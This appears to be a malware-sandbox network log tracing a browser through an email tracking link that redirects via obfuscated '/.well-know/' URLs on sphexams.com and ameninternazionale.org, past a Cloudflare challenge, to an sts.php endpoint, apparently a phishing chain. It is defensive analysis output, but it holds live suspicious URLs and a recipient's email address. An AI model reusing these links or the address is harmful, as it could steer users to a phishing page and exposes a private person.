Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.6
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.6
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0= HTTP/1.1Host: webservice.ucampaign.unear.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.well-know/?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkU0JjEzY2s2RGNxR1hjb0NGZXtXSGVzemdsdHpmaWduc2tlaTQzJkczJmZzRzMmZWRHMyZ4cG9sLm1tZngvRzMmaHNwL2ZtYm9wantib3NmdW9qb2ZuYkczJkczJkI0JnRxdXVpRTQmbXN2QzQmMzMzJkU0JnVvZnVvcGQxMyYzMyZpdGZzZ2ZzMzMmRTQmd2p2cmYucXV1aTEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCYzMyY5LkdVVjMzJkU0JnVmdHNiaWQxMyZidWZuRDQmMTMmMTMmMTMmMTMmQjEmRjQmZWJmaUQ0JkIxJkY0Jm1udWlENCZCMSZGNCZvYnF0RzMmRDQmZGs3aFpWRDQmdHs1TUU0JkxYbXgxT1FnZFhQWXN7NXdHOXtRRTYmQ09GNCYzMyZ1eWZ1Lm9mZWVqaTMzJkU0JnR0Ym1kMTMmb2JxdEQ0JkIxJg== HTTP/1.1Host: sphexams.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: sphexams.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sphexams.com/.well-know/?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkU0JjEzY2s2RGNxR1hjb0NGZXtXSGVzemdsdHpmaWduc2tlaTQzJkczJmZzRzMmZWRHMyZ4cG9sLm1tZngvRzMmaHNwL2ZtYm9wantib3NmdW9qb2ZuYkczJkczJkI0JnRxdXVpRTQmbXN2QzQmMzMzJkU0JnVvZnVvcGQxMyYzMyZpdGZzZ2ZzMzMmRTQmd2p2cmYucXV1aTEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCYzMyY5LkdVVjMzJkU0JnVmdHNiaWQxMyZidWZuRDQmMTMmMTMmMTMmMTMmQjEmRjQmZWJmaUQ0JkIxJkY0Jm1udWlENCZCMSZGNCZvYnF0RzMmRDQmZGs3aFpWRDQmdHs1TUU0JkxYbXgxT1FnZFhQWXN7NXdHOXtRRTYmQ09GNCYzMyZ1eWZ1Lm9mZWVqaTMzJkU0JnR0Ym1kMTMmb2JxdEQ0JkIxJg==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.well-know/cd/re/ HTTP/1.1Host: ameninternazionale.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://sphexams.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: sphexams.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.5.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ameninternazionale.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ameninternazionale.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?compat=recaptcha HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ameninternazionale.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ameninternazionale.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.5.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ameninternazionale.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c96199b00fa1&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c96199b00fa1&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1217350448:1733764300:zvHUnKjOCxwAgch-M913R2tM8mD1gJ3EVo_4ePpgicY/8ef6c96199b00fa1/2axRlM8K45EWtO8TzXqLTkRi3Arai34899td5._XtdE-1733766093-1.1.1.1-OdzvnEQ8SyL0GCsJS1G2sdj0PQ3PjMMmAQr2GdyUfGyLh3H5W0rTPAiNuAP_i4g0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8ef6c96199b00fa1/1733766097531/3c1556456805cec06261fea5cd49ae21a31f255a700692ea9b772b9bb1cf13d6/hRGKLkag-0o1Umn HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://ameninternazionale.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c997a86442ad&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c997a86442ad&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ef6c997a86442ad/1733766106030/5ym9Qb7hUPt95Jw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ef6c997a86442ad/1733766106030/5ym9Qb7hUPt95Jw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8ef6c997a86442ad/1733766106033/cd511318b73ec19c11cc90f41c187ab72a36e207c9465082a957b4b829a9bcb8/6vTyGsiZscPh32f HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.well-know/cd/re/sts.php HTTP/1.1Host: ameninternazionale.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ameninternazionale.org/.well-know/cd/re/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
